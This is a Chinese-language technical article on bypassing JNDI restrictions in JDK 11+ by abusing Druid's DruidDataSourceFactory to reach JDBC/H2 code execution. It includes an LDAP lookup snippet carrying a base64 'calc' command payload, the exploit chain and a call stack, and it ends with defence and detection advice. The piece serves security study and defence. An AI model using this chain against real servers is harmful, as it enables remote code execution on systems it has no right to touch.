jndi +DruidDataSourceFactory 实现高版本绕过
字数 1362 2025-09-23 19:27:46
JNDI + DruidDataSourceFactory 高版本JDK绕过技术分析与利用
一、前言背景
在JNDI利用发展历程中,高版本JDK一直是重要限制因素。从最初的RMI远程类加载到LDAP reference工厂调用,随着com.sun.jndi.ldap.object.trustURLCodebase默认关闭,经典攻击方式逐渐失效。特别是在JDK 11+版本中,远程工厂类加载被彻底限制。
但JNDI的核心机制是:遇到Reference对象时,会优先尝试调用本地classpath下的ObjectFactory进行解析。这意味着只要目标环境中存在合适的工厂类,即使远程codebase不可用,也能重新构建攻击链。
二、关键技术原理
2.1 JNDI Reference解析机制
// JNDI在解析Reference时的核心逻辑
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
factory = getObjectFactoryFromReference(ref, f);
// 先尝试本地加载,失败后才尝试远程加载
}
}
2.2 高版本JDK限制
com.sun.jndi.ldap.object.trustURLCodebase默认设置为false- JDK 11+彻底禁止远程工厂类加载
- 本地工厂类成为唯一可利用的入口点
2.3 DruidDataSourceFactory作用
DruidDataSourceFactory负责解析Reference中的参数,通过createDataSourceInternal方法创建数据源对象。该过程会自动解析JDBC URL、驱动名等配置,触发数据库连接初始化。
三、环境搭建要求
3.1 必要依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid-spring-boot-starter</artifactId>
<version>1.2.8</version>
</dependency>
3.2 JDK版本要求
- 攻击测试适用于JDK 11+高版本环境
- 低版本JDK仍可使用传统RMI/LDAP远程加载方式
四、利用过程分析
4.1 攻击向量构建
// 客户端攻击代码示例
package JNDI_LDAP;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAP_Client {
public static void main(String[] args) throws NamingException {
String jndi_uri = "ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==";
InitialContext initialContext = new InitialContext();
initialContext.lookup(jndi_uri); // 触发JNDI查询
}
}
4.2 调用栈分析
getObjectInstance:188, DirectoryManager (javax.naming.spi)
c_lookup:1114, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:220, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:409, InitialContext (javax.naming)
main:13, JNDI
4.3 本地工厂加载机制
- JNDI解析Reference对象获取Factory类名
- 优先从本地classpath加载工厂类
- 调用工厂类的
getObjectInstance方法 - 完全绕过远程代码加载限制
4.4 DruidDataSourceFactory利用链
DruidDataSourceFactory.getObjectInstance()
→ createDataSourceInternal()
→ 解析JDBC配置参数
→ 初始化数据库连接
→ 触发JDBC驱动加载
→ 实现恶意SQL/JDBC攻击
五、技术细节深度分析
5.1 createDataSourceInternal方法
该方法接收Properties参数,自动解析以下配置:
- JDBC连接URL
- 数据库驱动类名
- 连接凭证信息
- 连接池参数
5.2 JDBC攻击向量
需要额外添加数据库驱动依赖,利用H2数据库等具备代码执行能力的数据库驱动实现RCE。
5.3 配置解析过程
在config方法中解析各种配置参数,最终通过init方法初始化连接,造成JDBC层面的攻击。
六、防御和检测建议
6.1 防御措施
- 限制不必要的JNDI查找操作
- 监控和过滤异常的LDAP/RMI请求
- 移除或保护classpath中的危险工厂类
- 使用安全策略限制数据库驱动加载
6.2 检测指标
- 异常的JNDI lookup调用
- 可疑的LDAP连接尝试
- 非常规的数据库连接初始化
- DruidDataSourceFactory的异常使用
七、总结
这种绕过技术充分利用了以下关键点:
- JNDI本地工厂优先加载机制
- Druid连接池的自动配置特性
- JDBC驱动的代码执行能力
- 高版本JDK安全策略的盲点
这种攻击方式在具备Druid依赖的环境中特别有效,完全避开了高版本JDK对远程类加载的限制,体现了供应链攻击的典型特征。